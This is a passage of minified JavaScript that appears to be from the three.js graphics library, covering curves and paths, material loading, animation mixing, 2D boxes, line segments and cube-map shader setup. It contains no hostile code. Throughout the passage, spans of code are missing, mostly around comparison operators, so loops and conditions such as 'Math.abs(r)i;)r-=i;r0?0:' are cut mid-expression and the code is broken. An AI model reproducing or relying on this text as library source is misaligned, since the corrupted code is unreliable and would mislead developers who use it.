t(e,s,a))}},i=[],r=t.name||"default",s=t.fps||30,a=t.blendMode;let o=t.length||-1;const l=t.hierarchy||[];for(let t=0;t0||0===t.search(/^data\:image\/jpeg/);r.format=i?T:E,r.needsUpdate=!0,void 0!==e&&e(r)}),n,i),r}}),Object.assign(sl.prototype,{getPoint:function(){return console.warn("THREE.Curve: .getPoint() not implemented."),null},getPointAt:function(t,e){const n=this.getUtoTmapping(t);return this.getPoint(n,e)},getPoints:function(t=5){const e=[];for(let n=0;n<=t;n++)e.push(this.getPoint(n/t));return e},getSpacedPoints:function(t=5){const e=[];for(let n=0;n<=t;n++)e.push(this.getPointAt(n/t));return e},getLength:function(){const t=this.getLengths();return t[t.length-1]},getLengths:function(t){if(void 0===t&&(t=this.arcLengthDivisions),this.cacheArcLengths&&this.cacheArcLengths.length===t+1&&!this.needsUpdate)return this.cacheArcLengths;this.needsUpdate=!1;const e=[];let n,i=this.getPoint(0),r=0;e.push(0);for(let s=1;s<=t;s++)n=this.getPoint(s/t),r+=n.distanceTo(i),e.push(r),i=n;return this.cacheArcLengths=e,e},updateArcLengths:function(){this.needsUpdate=!0,this.getLengths()},getUtoTmapping:function(t,e){const n=this.getLengths();let i=0;const r=n.length;let s;s=e||t*n[r-1];let a,o=0,l=r-1;for(;o<=l;)if(i=Math.floor(o+(l-o)/2),a=n[i]-s,a<0)o=i+1;else{if(!(a>0)){l=i;break}l=i-1}if(i=l,n[i]===s)return i/(r-1);const c=n[i];return(i+(s-c)/(n[i+1]-c))/(r-1)},getTangent:function(t,e){const n=1e-4;let i=t-n,r=t+n;i<0&&(i=0),r>1&&(r=1);const s=this.getPoint(i),a=this.getPoint(r),o=e||(s.isVector2?new lt:new xt);return o.copy(a).sub(s).normalize(),o},getTangentAt:function(t,e){const n=this.getUtoTmapping(t);return this.getTangent(n,e)},computeFrenetFrames:function(t,e){const n=new xt,i=[],r=[],s=[],a=new xt,o=new Jt;for(let e=0;e<=t;e++){const n=e/t;i[e]=this.getTangentAt(n,new xt),i[e].normalize()}r[0]=new xt,s[0]=new xt;let l=Number.MAX_VALUE;const c=Math.abs(i[0].x),h=Math.abs(i[0].y),u=Math.abs(i[0].z);c<=l&&(l=c,n.set(1,0,0)),h<=l&&(l=h,n.set(0,1,0)),u<=l&&n.set(0,0,1),a.crossVectors(i[0],n).normalize(),r[0].crossVectors(i[0],a),s[0].crossVectors(i[0],r[0]);for(let e=1;e<=t;e++){if(r[e]=r[e-1].clone(),s[e]=s[e-1].clone(),a.crossVectors(i[e-1],i[e]),a.length()>Number.EPSILON){a.normalize();const t=Math.acos(ot.clamp(i[e-1].dot(i[e]),-1,1));r[e].applyMatrix4(o.makeRotationAxis(a,t))}s[e].crossVectors(i[e],r[e])}if(!0===e){let e=Math.acos(ot.clamp(r[0].dot(r[t]),-1,1));e/=t,i[0].dot(a.crossVectors(r[0],r[t]))>0&&(e=-e);for(let n=1;n<=t;n++)r[n].applyMatrix4(o.makeRotationAxis(i[n],e*n)),s[n].crossVectors(i[n],r[n])}return{tangents:i,normals:r,binormals:s}},clone:function(){return(new this.constructor).copy(this)},copy:function(t){return this.arcLengthDivisions=t.arcLengthDivisions,this},toJSON:function(){const t={metadata:{version:4.5,type:"Curve",generator:"Curve.toJSON"}};return t.arcLengthDivisions=this.arcLengthDivisions,t.type=this.type,t},fromJSON:function(t){return this.arcLengthDivisions=t.arcLengthDivisions,this}});class al extends sl{constructor(t=0,e=0,n=1,i=1,r=0,s=2*Math.PI,a=!1,o=0){super(),this.type="EllipseCurve",this.aX=t,this.aY=e,this.xRadius=n,this.yRadius=i,this.aStartAngle=r,this.aEndAngle=s,this.aClockwise=a,this.aRotation=o}getPoint(t,e){const n=e||new lt,i=2*Math.PI;let r=this.aEndAngle-this.aStartAngle;const s=Math.abs(r)i;)r-=i;r0?0:(Math.floor(Math.abs(l)/r)+1)*r:0===c&&l===r-1&&(l=r-2,c=1),this.closed||l>0?a=i[(l-1)%r]:(cl.subVectors(i[0],i[1]).add(i[0]),a=cl);const h=i[l%r],u=i[(l+1)%r];if(this.closed||l+2i.length-2?i.length-1:s+1],h=i[s>i.length-3?i.length-1:s+2];return n.set(fl(a,o.x,l.x,c.x,h.x),fl(a,o.y,l.y,c.y,h.y)),n}copy(t){super.copy(t),this.points=[];for(let e=0,n=t.points.length;e=e){const t=n[i]-e,r=this.curves[i],s=r.getLength(),a=0===s?0:1-t/s;return r.getPointAt(a)}i++}return null}getLength(){const t=this.getCurveLengths();return t[t.length-1]}updateArcLengths(){this.needsUpdate=!0,this.cacheLengths=null,this.getCurveLengths()}getCurveLengths(){if(this.cacheLengths&&this.cacheLengths.length===this.curves.length)return this.cacheLengths;const t=[];let e=0;for(let n=0,i=this.curves.length;n1&&!e[e.length-1].equals(e[0])&&e.push(e[0]),e}copy(t){super.copy(t),this.curves=[];for(let e=0,n=t.curves.length;e0){const t=l.getPoint(0);t.equals(this.currentPoint)||this.lineTo(t.x,t.y)}this.curves.push(l);const c=l.getPoint(1);return this.currentPoint.copy(c),this}copy(t){return super.copy(t),this.currentPoint.copy(t.currentPoint),this}toJSON(){const t=super.toJSON();return t.currentPoint=this.currentPoint.toArray(),t}fromJSON(t){return super.fromJSON(t),this.currentPoint.fromArray(t.currentPoint),this}}class Al extends El{constructor(t){super(t),this.uuid=ot.generateUUID(),this.type="Shape",this.holes=[]}getPointsHoles(t){const e=[];for(let n=0,i=this.holes.length;n0:i.vertexColors=t.vertexColors),void 0!==t.uniforms)for(const e in t.uniforms){const r=t.uniforms[e];switch(i.uniforms[e]={},r.type){case"t":i.uniforms[e].value=n(r.value);break;case"c":i.uniforms[e].value=(new je).setHex(r.value);break;case"v2":i.uniforms[e].value=(new lt).fromArray(r.value);break;case"v3":i.uniforms[e].value=(new xt).fromArray(r.value);break;case"v4":i.uniforms[e].value=(new mt).fromArray(r.value);break;case"m3":i.uniforms[e].value=(new ct).fromArray(r.value);break;case"m4":i.uniforms[e].value=(new Jt).fromArray(r.value);break;default:i.uniforms[e].value=r.value}}if(void 0!==t.defines&&(i.defines=t.defines),void 0!==t.vertexShader&&(i.vertexShader=t.vertexShader),void 0!==t.fragmentShader&&(i.fragmentShader=t.fragmentShader),void 0!==t.extensions)for(const e in t.extensions)i.extensions[e]=t.extensions[e];if(void 0!==t.shading&&(i.flatShading=1===t.shading),void 0!==t.size&&(i.size=t.size),void 0!==t.sizeAttenuation&&(i.sizeAttenuation=t.sizeAttenuation),void 0!==t.map&&(i.map=n(t.map)),void 0!==t.matcap&&(i.matcap=n(t.matcap)),void 0!==t.alphaMap&&(i.alphaMap=n(t.alphaMap)),void 0!==t.bumpMap&&(i.bumpMap=n(t.bumpMap)),void 0!==t.bumpScale&&(i.bumpScale=t.bumpScale),void 0!==t.normalMap&&(i.normalMap=n(t.normalMap)),void 0!==t.normalMapType&&(i.normalMapType=t.normalMapType),void 0!==t.normalScale){let e=t.normalScale;!1===Array.isArray(e)&&(e=[e,e]),i.normalScale=(new lt).fromArray(e)}return void 0!==t.displacementMap&&(i.displacementMap=n(t.displacementMap)),void 0!==t.displacementScale&&(i.displacementScale=t.displacementScale),void 0!==t.displacementBias&&(i.displacementBias=t.displacementBias),void 0!==t.roughnessMap&&(i.roughnessMap=n(t.roughnessMap)),void 0!==t.metalnessMap&&(i.metalnessMap=n(t.metalnessMap)),void 0!==t.emissiveMap&&(i.emissiveMap=n(t.emissiveMap)),void 0!==t.emissiveIntensity&&(i.emissiveIntensity=t.emissiveIntensity),void 0!==t.specularMap&&(i.specularMap=n(t.specularMap)),void 0!==t.envMap&&(i.envMap=n(t.envMap)),void 0!==t.envMapIntensity&&(i.envMapIntensity=t.envMapIntensity),void 0!==t.reflectivity&&(i.reflectivity=t.reflectivity),void 0!==t.refractionRatio&&(i.refractionRatio=t.refractionRatio),void 0!==t.lightMap&&(i.lightMap=n(t.lightMap)),void 0!==t.lightMapIntensity&&(i.lightMapIntensity=t.lightMapIntensity),void 0!==t.aoMap&&(i.aoMap=n(t.aoMap)),void 0!==t.aoMapIntensity&&(i.aoMapIntensity=t.aoMapIntensity),void 0!==t.gradientMap&&(i.gradientMap=n(t.gradientMap)),void 0!==t.clearcoatMap&&(i.clearcoatMap=n(t.clearcoatMap)),void 0!==t.clearcoatRoughnessMap&&(i.clearcoatRoughnessMap=n(t.clearcoatRoughnessMap)),void 0!==t.clearcoatNormalMap&&(i.clearcoatNormalMap=n(t.clearcoatNormalMap)),void 0!==t.clearcoatNormalScale&&(i.clearcoatNormalScale=(new lt).fromArray(t.clearcoatNormalScale)),void 0!==t.transmission&&(i.transmission=t.transmission),void 0!==t.transmissionMap&&(i.transmissionMap=n(t.transmissionMap)),i}setTextures(t){return this.textures=t,this}}const Zl={decodeText:function(t){if("undefined"!=typeof TextDecoder)return(new TextDecoder).decode(t);let e="";for(let n=0,i=t.length;nNumber.EPSILON){if(l<0&&(n=e[s],o=-o,a=e[r],l=-l),t.ya.y)continue;if(t.y===n.y){if(t.x===n.x)return!0}else{const e=l*(t.x-n.x)-o*(t.y-n.y);if(0===e)return!0;if(e<0)continue;i=!i}}else{if(t.y!==n.y)continue;if(a.x<=t.x&&t.x<=n.x||n.x<=t.x&&t.x<=a.x)return!0}}return i}const r=no.isClockWise,s=this.subPaths;if(0===s.length)return[];if(!0===e)return n(s);let a,o,l;const c=[];if(1===s.length)return o=s[0],l=new Al,l.curves=o.curves,c.push(l),c;let h=!r(s[0].getPoints());h=t?!h:h;const u=[],d=[];let p,f,m=[],g=0;d[g]=void 0,m[g]=[];for(let e=0,n=s.length;e1){let t=!1;const e=[];for(let t=0,e=d.length;t0&&(t||(m=u))}for(let t=0,e=d.length;t0){this.source.connect(this.filters[0]);for(let t=1,e=this.filters.length;t0){this.source.disconnect(this.filters[0]);for(let t=1,e=this.filters.length;t0&&this._mixBufferRegionAdditive(n,i,this._addIndex*e,1,e);for(let t=e,r=e+e;t!==r;++t)if(n[t]!==n[t+e]){a.setValue(n,i);break}}saveOriginalState(){const t=this.binding,e=this.buffer,n=this.valueSize,i=n*this._origIndex;t.getValue(e,i);for(let t=n,r=i;t!==r;++t)e[t]=e[i+t%n];this._setIdentity(),this.cumulativeWeight=0,this.cumulativeWeightAdditive=0}restoreOriginalState(){const t=3*this.valueSize;this.binding.setValue(this.buffer,t)}_setAdditiveIdentityNumeric(){const t=this._addIndex*this.valueSize,e=t+this.valueSize;for(let n=t;n=.5)for(let i=0;i!==r;++i)t[e+i]=t[n+i]}_slerp(t,e,n,i){yt.slerpFlat(t,e,t,e,t,n,i)}_slerpAdditive(t,e,n,i,r){const s=this._workIndex*r;yt.multiplyQuaternionsFlat(t,s,t,e,t,n),yt.slerpFlat(t,e,t,e,t,s,i)}_lerp(t,e,n,i,r){const s=1-i;for(let a=0;a!==r;++a){const r=e+a;t[r]=t[r]*s+t[n+a]*i}}_lerpAdditive(t,e,n,i,r){for(let s=0;s!==r;++s){const r=e+s;t[r]=t[r]+t[n+s]*i}}}const Ec="\\[\\]\\.:\\/",Ac=new RegExp("[\\[\\]\\.:\\/]","g"),Lc="[^\\[\\]\\.:\\/]",Rc="[^"+Ec.replace("\\.","")+"]",Cc=/((?:WC+[\/:])*)/.source.replace("WC",Lc),Pc=/(WCOD+)?/.source.replace("WCOD",Rc),Dc=/(?:\.(WC+)(?:\[(.+)\])?)?/.source.replace("WC",Lc),Ic=/\.(WC+)(?:\[(.+)\])?/.source.replace("WC",Lc),Nc=new RegExp("^"+Cc+Pc+Dc+Ic+"$"),Bc=["material","materials","bones"];function Oc(t,e,n){const i=n||zc.parseTrackName(e);this._targetGroup=t,this._bindings=t.subscribe_(e,i)}function zc(t,e,n){this.path=e,this.parsedPath=n||zc.parseTrackName(e),this.node=zc.findNode(t,this.parsedPath.nodeName)||t,this.rootNode=t}Object.assign(Oc.prototype,{getValue:function(t,e){this.bind();const n=this._targetGroup.nCachedObjects_,i=this._bindings[n];void 0!==i&&i.getValue(t,e)},setValue:function(t,e){const n=this._bindings;for(let i=this._targetGroup.nCachedObjects_,r=n.length;i!==r;++i)n[i].setValue(t,e)},bind:function(){const t=this._bindings;for(let e=this._targetGroup.nCachedObjects_,n=t.length;e!==n;++e)t[e].bind()},unbind:function(){const t=this._bindings;for(let e=this._targetGroup.nCachedObjects_,n=t.length;e!==n;++e)t[e].unbind()}}),Object.assign(zc,{Composite:Oc,create:function(t,e,n){return t&&t.isAnimationObjectGroup?new zc.Composite(t,e,n):new zc(t,e,n)},sanitizeNodeName:function(t){return t.replace(/\s/g,"_").replace(Ac,"")},parseTrackName:function(t){const e=Nc.exec(t);if(!e)throw new Error("PropertyBinding: Cannot parse trackName: "+t);const n={nodeName:e[2],objectName:e[3],objectIndex:e[4],propertyName:e[5],propertyIndex:e[6]},i=n.nodeName&&n.nodeName.lastIndexOf(".");if(void 0!==i&&-1!==i){const t=n.nodeName.substring(i+1);-1!==Bc.indexOf(t)&&(n.nodeName=n.nodeName.substring(0,i),n.objectName=t)}if(null===n.propertyName||0===n.propertyName.length)throw new Error("PropertyBinding: can not parse propertyName from trackName: "+t);return n},findNode:function(t,e){if(!e||""===e||"."===e||-1===e||e===t.name||e===t.uuid)return t;if(t.skeleton){const n=t.skeleton.getBoneByName(e);if(void 0!==n)return n}if(t.children){const n=function(t){for(let i=0;i=r){const s=r++,c=t[s];e[c.uuid]=l,t[l]=c,e[o]=s,t[s]=a;for(let t=0,e=i;t!==e;++t){const e=n[t],i=e[s],r=e[l];e[l]=i,e[s]=r}}}this.nCachedObjects_=r}uncache(){const t=this._objects,e=this._indicesByUUID,n=this._bindings,i=n.length;let r=this.nCachedObjects_,s=t.length;for(let a=0,o=arguments.length;a!==o;++a){const o=arguments[a].uuid,l=e[o];if(void 0!==l)if(delete e[o],l0&&(e[a.uuid]=l),t[l]=a,t.pop();for(let t=0,e=i;t!==e;++t){const e=n[t];e[l]=e[r],e.pop()}}}this.nCachedObjects_=r}subscribe_(t,e){const n=this._bindingsIndicesByPath;let i=n[t];const r=this._bindings;if(void 0!==i)return r[i];const s=this._paths,a=this._parsedPaths,o=this._objects,l=o.length,c=this.nCachedObjects_,h=new Array(l);i=r.length,n[t]=i,s.push(t),a.push(e),r.push(h);for(let n=c,i=o.length;n!==i;++n){const i=o[n];h[n]=new zc(i,t,e)}return h}unsubscribe_(t){const e=this._bindingsIndicesByPath,n=e[t];if(void 0!==n){const i=this._paths,r=this._parsedPaths,s=this._bindings,a=s.length-1,o=s[a];e[t[a]]=n,s[n]=o,s.pop(),r[n]=r[a],r.pop(),i[n]=i[a],i.pop()}}}Fc.prototype.isAnimationObjectGroup=!0;class Hc{constructor(t,e,n=null,i=e.blendMode){this._mixer=t,this._clip=e,this._localRoot=n,this.blendMode=i;const r=e.tracks,s=r.length,a=new Array(s),o={endingStart:k,endingEnd:k};for(let t=0;t!==s;++t){const e=r[t].createInterpolant(null);a[t]=e,e.settings=o}this._interpolantSettings=o,this._interpolants=a,this._propertyBindings=new Array(s),this._cacheIndex=null,this._byClipCacheIndex=null,this._timeScaleInterpolant=null,this._weightInterpolant=null,this.loop=2201,this._loopCount=-1,this._startTime=null,this.time=0,this.timeScale=1,this._effectiveTimeScale=1,this.weight=1,this._effectiveWeight=1,this.repetitions=1/0,this.paused=!1,this.enabled=!0,this.clampWhenFinished=!1,this.zeroSlopeAtStart=!0,this.zeroSlopeAtEnd=!0}play(){return this._mixer._activateAction(this),this}stop(){return this._mixer._deactivateAction(this),this.reset()}reset(){return this.paused=!1,this.enabled=!0,this.time=0,this._loopCount=-1,this._startTime=null,this.stopFading().stopWarping()}isRunning(){return this.enabled&&!this.paused&&0!==this.timeScale&&null===this._startTime&&this._mixer._isActiveAction(this)}isScheduled(){return this._mixer._isActiveAction(this)}startAt(t){return this._startTime=t,this}setLoop(t,e){return this.loop=t,this.repetitions=e,this}setEffectiveWeight(t){return this.weight=t,this._effectiveWeight=this.enabled?t:0,this.stopFading()}getEffectiveWeight(){return this._effectiveWeight}fadeIn(t){return this._scheduleFading(t,0,1)}fadeOut(t){return this._scheduleFading(t,1,0)}crossFadeFrom(t,e,n){if(t.fadeOut(e),this.fadeIn(e),n){const n=this._clip.duration,i=t._clip.duration,r=i/n,s=n/i;t.warp(1,r,e),this.warp(s,1,e)}return this}crossFadeTo(t,e,n){return t.crossFadeFrom(this,e,n)}stopFading(){const t=this._weightInterpolant;return null!==t&&(this._weightInterpolant=null,this._mixer._takeBackControlInterpolant(t)),this}setEffectiveTimeScale(t){return this.timeScale=t,this._effectiveTimeScale=this.paused?0:t,this.stopWarping()}getEffectiveTimeScale(){return this._effectiveTimeScale}setDuration(t){return this.timeScale=this._clip.duration/t,this.stopWarping()}syncWith(t){return this.time=t.time,this.timeScale=t.timeScale,this.stopWarping()}halt(t){return this.warp(this._effectiveTimeScale,0,t)}warp(t,e,n){const i=this._mixer,r=i.time,s=this.timeScale;let a=this._timeScaleInterpolant;null===a&&(a=i._lendControlInterpolant(),this._timeScaleInterpolant=a);const o=a.parameterPositions,l=a.sampleValues;return o[0]=r,o[1]=r+n,l[0]=t/s,l[1]=e/s,this}stopWarping(){const t=this._timeScaleInterpolant;return null!==t&&(this._timeScaleInterpolant=null,this._mixer._takeBackControlInterpolant(t)),this}getMixer(){return this._mixer}getClip(){return this._clip}getRoot(){return this._localRoot||this._mixer._root}_update(t,e,n,i){if(!this.enabled)return void this._updateWeight(t);const r=this._startTime;if(null!==r){const i=(t-r)*n;if(i<0||0===n)return;this._startTime=null,e=n*i}e*=this._updateTimeScale(t);const s=this._updateTime(e),a=this._updateWeight(t);if(a>0){const t=this._interpolants,e=this._propertyBindings;switch(this.blendMode){case q:for(let n=0,i=t.length;n!==i;++n)t[n].evaluate(s),e[n].accumulateAdditive(a);break;case j:default:for(let n=0,r=t.length;n!==r;++n)t[n].evaluate(s),e[n].accumulate(i,a)}}}_updateWeight(t){let e=0;if(this.enabled){e=this.weight;const n=this._weightInterpolant;if(null!==n){const i=n.evaluate(t)[0];e*=i,t>n.parameterPositions[1]&&(this.stopFading(),0===i&&(this.enabled=!1))}}return this._effectiveWeight=e,e}_updateTimeScale(t){let e=0;if(!this.paused){e=this.timeScale;const n=this._timeScaleInterpolant;if(null!==n){e*=n.evaluate(t)[0],t>n.parameterPositions[1]&&(this.stopWarping(),0===e?this.paused=!0:this.timeScale=e)}}return this._effectiveTimeScale=e,e}_updateTime(t){const e=this._clip.duration,n=this.loop;let i=this.time+t,r=this._loopCount;const s=2202===n;if(0===t)return-1===r?i:s&&1==(1&r)?e-i:i;if(2200===n){-1===r&&(this._loopCount=0,this._setEndings(!0,!0,!1));t:{if(i>=e)i=e;else{if(!(i<0)){this.time=i;break t}i=0}this.clampWhenFinished?this.paused=!0:this.enabled=!1,this.time=i,this._mixer.dispatchEvent({type:"finished",action:this,direction:t<0?-1:1})}}else{if(-1===r&&(t>=0?(r=0,this._setEndings(!0,0===this.repetitions,s)):this._setEndings(0===this.repetitions,!0,s)),i>=e||i<0){const n=Math.floor(i/e);i-=e*n,r+=Math.abs(n);const a=this.repetitions-r;if(a<=0)this.clampWhenFinished?this.paused=!0:this.enabled=!1,i=t>0?e:0,this.time=i,this._mixer.dispatchEvent({type:"finished",action:this,direction:t>0?1:-1});else{if(1===a){const e=t<0;this._setEndings(e,!e,s)}else this._setEndings(!1,!1,s);this._loopCount=r,this.time=i,this._mixer.dispatchEvent({type:"loop",action:this,loopDelta:n})}}else this.time=i;if(s&&1==(1&r))return e-i}return i}_setEndings(t,e,n){const i=this._interpolantSettings;n?(i.endingStart=V,i.endingEnd=V):(i.endingStart=t?this.zeroSlopeAtStart?V:k:W,i.endingEnd=e?this.zeroSlopeAtEnd?V:k:W)}_scheduleFading(t,e,n){const i=this._mixer,r=i.time;let s=this._weightInterpolant;null===s&&(s=i._lendControlInterpolant(),this._weightInterpolant=s);const a=s.parameterPositions,o=s.sampleValues;return a[0]=r,o[0]=e,a[1]=r+t,o[1]=n,this}}class Uc extends rt{constructor(t){super(),this._root=t,this._initMemoryManager(),this._accuIndex=0,this.time=0,this.timeScale=1}_bindAction(t,e){const n=t._localRoot||this._root,i=t._clip.tracks,r=i.length,s=t._propertyBindings,a=t._interpolants,o=n.uuid,l=this._bindingsByRootAndName;let c=l[o];void 0===c&&(c={},l[o]=c);for(let t=0;t!==r;++t){const r=i[t],l=r.name;let h=c[l];if(void 0!==h)s[t]=h;else{if(h=s[t],void 0!==h){null===h._cacheIndex&&(++h.referenceCount,this._addInactiveBinding(h,o,l));continue}const i=e&&e._propertyBindings[t].binding.parsedPath;h=new Tc(zc.create(n,l,i),r.ValueTypeName,r.getValueSize()),++h.referenceCount,this._addInactiveBinding(h,o,l),s[t]=h}a[t].resultBuffer=h.buffer}}_activateAction(t){if(!this._isActiveAction(t)){if(null===t._cacheIndex){const e=(t._localRoot||this._root).uuid,n=t._clip.uuid,i=this._actionsByClip[n];this._bindAction(t,i&&i.knownActions[0]),this._addInactiveAction(t,n,e)}const e=t._propertyBindings;for(let t=0,n=e.length;t!==n;++t){const n=e[t];0==n.useCount++&&(this._lendBinding(n),n.saveOriginalState())}this._lendAction(t)}}_deactivateAction(t){if(this._isActiveAction(t)){const e=t._propertyBindings;for(let t=0,n=e.length;t!==n;++t){const n=e[t];0==--n.useCount&&(n.restoreOriginalState(),this._takeBackBinding(n))}this._takeBackAction(t)}}_initMemoryManager(){this._actions=[],this._nActiveActions=0,this._actionsByClip={},this._bindings=[],this._nActiveBindings=0,this._bindingsByRootAndName={},this._controlInterpolants=[],this._nActiveControlInterpolants=0;const t=this;this.stats={actions:{get total(){return t._actions.length},get inUse(){return t._nActiveActions}},bindings:{get total(){return t._bindings.length},get inUse(){return t._nActiveBindings}},controlInterpolants:{get total(){return t._controlInterpolants.length},get inUse(){return t._nActiveControlInterpolants}}}}_isActiveAction(t){const e=t._cacheIndex;return null!==e&&e=0;--e)t[e].stop();return this}update(t){t*=this.timeScale;const e=this._actions,n=this._nActiveActions,i=this.time+=t,r=Math.sign(t),s=this._accuIndex^=1;for(let a=0;a!==n;++a){e[a]._update(i,t,r,s)}const a=this._bindings,o=this._nActiveBindings;for(let t=0;t!==o;++t)a[t].apply(s);return this}setTime(t){this.time=0;for(let t=0;tthis.max.x||t.ythis.max.y)}containsBox(t){return this.min.x<=t.min.x&&t.max.x<=this.max.x&&this.min.y<=t.min.y&&t.max.y<=this.max.y}getParameter(t,e){return void 0===e&&(console.warn("THREE.Box2: .getParameter() target is now required"),e=new lt),e.set((t.x-this.min.x)/(this.max.x-this.min.x),(t.y-this.min.y)/(this.max.y-this.min.y))}intersectsBox(t){return!(t.max.xthis.max.x||t.max.ythis.max.y)}clampPoint(t,e){return void 0===e&&(console.warn("THREE.Box2: .clampPoint() target is now required"),e=new lt),e.copy(t).clamp(this.min,this.max)}distanceToPoint(t){return Xc.copy(t).clamp(this.min,this.max).sub(t).length()}intersect(t){return this.min.max(t.min),this.max.min(t.max),this}union(t){return this.min.min(t.min),this.max.max(t.max),this}translate(t){return this.min.add(t),this.max.add(t),this}equals(t){return t.min.equals(this.min)&&t.max.equals(this.max)}}Yc.prototype.isBox2=!0;const Zc=new xt,Jc=new xt;class Qc{constructor(t=new xt,e=new xt){this.start=t,this.end=e}set(t,e){return this.start.copy(t),this.end.copy(e),this}copy(t){return this.start.copy(t.start),this.end.copy(t.end),this}getCenter(t){return void 0===t&&(console.warn("THREE.Line3: .getCenter() target is now required"),t=new xt),t.addVectors(this.start,this.end).multiplyScalar(.5)}delta(t){return void 0===t&&(console.warn("THREE.Line3: .delta() target is now required"),t=new xt),t.subVectors(this.end,this.start)}distanceSq(){return this.start.distanceToSquared(this.end)}distance(){return this.start.distanceTo(this.end)}at(t,e){return void 0===e&&(console.warn("THREE.Line3: .at() target is now required"),e=new xt),this.delta(e).multiplyScalar(t).add(this.start)}closestPointToPointParameter(t,e){Zc.subVectors(t,this.start),Jc.subVectors(this.end,this.start);const n=Jc.dot(Jc);let i=Jc.dot(Zc)/n;return e&&(i=ot.clamp(i,0,1)),i}closestPointToPoint(t,e,n){const i=this.closestPointToPointParameter(t,e);return void 0===n&&(console.warn("THREE.Line3: .closestPointToPoint() target is now required"),n=new xt),this.delta(n).multiplyScalar(i).add(this.start)}applyMatrix4(t){return this.start.applyMatrix4(t),this.end.applyMatrix4(t),this}equals(t){return t.start.equals(this.start)&&t.end.equals(this.end)}clone(){return(new this.constructor).copy(this)}}function Kc(t){be.call(this),this.material=t,this.render=function(){},this.hasPositions=!1,this.hasNormals=!1,this.hasColors=!1,this.hasUvs=!1,this.positionArray=null,this.normalArray=null,this.colorArray=null,this.uvArray=null,this.count=0}Kc.prototype=Object.create(be.prototype),Kc.prototype.constructor=Kc,Kc.prototype.isImmediateRenderObject=!0;const $c=new xt;const th=new xt,eh=new Jt,nh=new Jt;class ih extends la{constructor(t){const e=rh(t),n=new vn,i=[],r=[],s=new je(0,0,1),a=new je(0,1,0);for(let t=0;t>16&32768,i=e>>12&2047;const r=e>>23&255;return r<103?n:r>142?(n|=31744,n|=(255==r?0:1)&&8388607&e,n):r<113?(i|=2048,n|=(i>>114-r)+(i>>113-r&1),n):(n|=r-112<<10|i>>1,n+=1&i,n)}},Sh=Math.pow(2,8),Th=[.125,.215,.35,.446,.526,.582],Eh=5+Th.length,Ah=20,Lh={[X]:0,[Y]:1,[J]:2,[Q]:3,[K]:4,[$]:5,[Z]:6},Rh=new qe({side:1,depthWrite:!1,depthTest:!1}),Ch=new Bn(new zn,Rh),Ph=new Gl,{_lodPlanes:Dh,_sizeLods:Ih,_sigmas:Nh}=kh(),Bh=new je;let Oh=null;const zh=(1+Math.sqrt(5))/2,Fh=1/zh,Hh=[new xt(1,1,1),new xt(-1,1,1),new xt(1,1,-1),new xt(-1,1,-1),new xt(0,zh,Fh),new xt(0,zh,-Fh),new xt(Fh,0,zh),new xt(-Fh,0,zh),new xt(zh,Fh,0),new xt(-zh,Fh,0)];function Uh(t){const e=Math.max(t.r,t.g,t.b),n=Math.min(Math.max(Math.ceil(Math.log2(e)),-128),127);t.multiplyScalar(Math.pow(2,-n));return(n+128)/255}function Gh(t){return void 0!==t&&t.type===x&&(t.encoding===X||t.encoding===Y||t.encoding===Z)}function kh(){const t=[],e=[],n=[];let i=8;for(let r=0;r4?a=Th[r-8+4-1]:0==r&&(a=0),n.push(a);const o=1/(s-1),l=-o/2,c=1+o/2,h=[l,l,c,l,c,c,l,l,c,c,l,c],u=6,d=6,p=3,f=2,m=1,g=new Float32Array(p*d*u),v=new Float32Array(f*d*u),y=new Float32Array(m*d*u);for(let t=0;t2?0:-1,i=[e,n,0,e+2/3,n,0,e+2/3,n+1,0,e,n,0,e+2/3,n+1,0,e,n+1,0];g.set(i,p*d*t),v.set(h,f*d*t);const r=[t,t,t,t,t,t];y.set(r,m*d*t)}const x=new vn;x.setAttribute("position",new Ze(g,p)),x.setAttribute("uv",new Ze(v,f)),x.setAttribute("faceIndex",new Ze(y,m)),t.push(x),i>4&&i--}return{_lodPlanes:t,_sizeLods:e,_sigmas:n}}function Vh(t){const e=new gt(3*Sh,3*Sh,t);return e.texture.mapping=l,e.texture.name="PMREM.cubeUv",e.scissorTest=!0,e}function Wh(t,e,n,i,r){t.viewport.set(e,n,i,r),t.scissor.set(e,n,i,r)}function jh(){const t=new lt(1,1);return new Mo({name:"EquirectangularToCubeUV",uniforms:{envMap:{value:null},texelSize:{value:t},inputEncoding:{value:Lh[3e3]},outputEncoding:{value:Lh[3e3]}},vertexShader:Xh(),fragmentShader:`\n\n\t\t\tprecision mediump float;\n\t\t\tprecision mediump int;\n\n\t\t\tvarying vec3 vOutputDirection;\n\n\t\t\tuniform sampler2D envMap;\n\t\t\tuniform vec2 texelSize;\n\n\t\t\t${Yh()}\n\n\t\t\t#include \n\n\t\t\tvoid main() {\n\n\t\t\t\tgl_FragColor = vec4( 0.0, 0.0, 0.0, 1.0 );\n\n\t\t\t\tvec3 outputDirection = normalize( vOutputDirection );\n\t\t\t\tvec2 uv = equirectUv( outputDirection );\n\n\t\t\t\tvec2 f = fract( uv / texelSize - 0.5 );\n\t\t\t\tuv -= f * texelSize;\n\t\t\t\tvec3 tl = envMapTexelToLinear( texture2D ( envMap, uv ) ).rgb;\n\t\t\t\tuv.x += texelSize.x;\n\t\t\t\tvec3 tr = envMapTexelToLinear( texture2D ( envMap, uv ) ).rgb;\n\t\t\t\tuv.y += texelSize.y;\n\t\t\t\tvec3 br = envMapTexelToLinear( texture2D ( envMap, uv ) ).rgb;\n\t\t\t\tuv.x -= texelSize.x;\n\t\t\t\tvec3 bl = envMapTexelToLinear( texture2D ( envMap, uv ) ).rgb;\n\n\t\t\t\tvec3 tm = mix( tl, tr, f.x );\n\t\t\t\tvec3 bm = mix( bl, br, f.x );\n\t\t\t\tgl_FragColor.rgb = mix( tm, bm, f.y );\n\n\t\t\t\tgl_FragColor = linearToOutputTexel( gl_FragColor );\n\n\t\t\t}\n\t\t`,blending:0,depthTest:!1,depthWrite:!1})}function qh(){return new Mo({name:"CubemapToCubeUV",uniforms:{envMap:{value:null},inputEncoding:{value:Lh[3e3]},outputEncoding:{value:Lh[3e3]}},vertexShader:Xh(),fragmentShader:`\n\n\t\t\tprecision mediump float;\n\t\t\tprecision mediump int;\n\n\t\t\tvarying vec3 vOutputDirection;\n\n\t\t\tuniform samplerCube envMap;\n\n\t\t\t${Yh()}\n\n\t\t\tvoid main() {\n\n\t\t\t\tgl_FragColor = vec4( 0.0, 0.0, 0.0, 1.0 );\n\t\t\t\tgl_FragColor.rgb = envMapTexelToLinear( textureCube( envMap, vec3( - vOutputDirection.x, vOutputDirection.yz ) ) ).rgb;\n\t\t\t\tgl_FragColor = linearToOutputTexel( 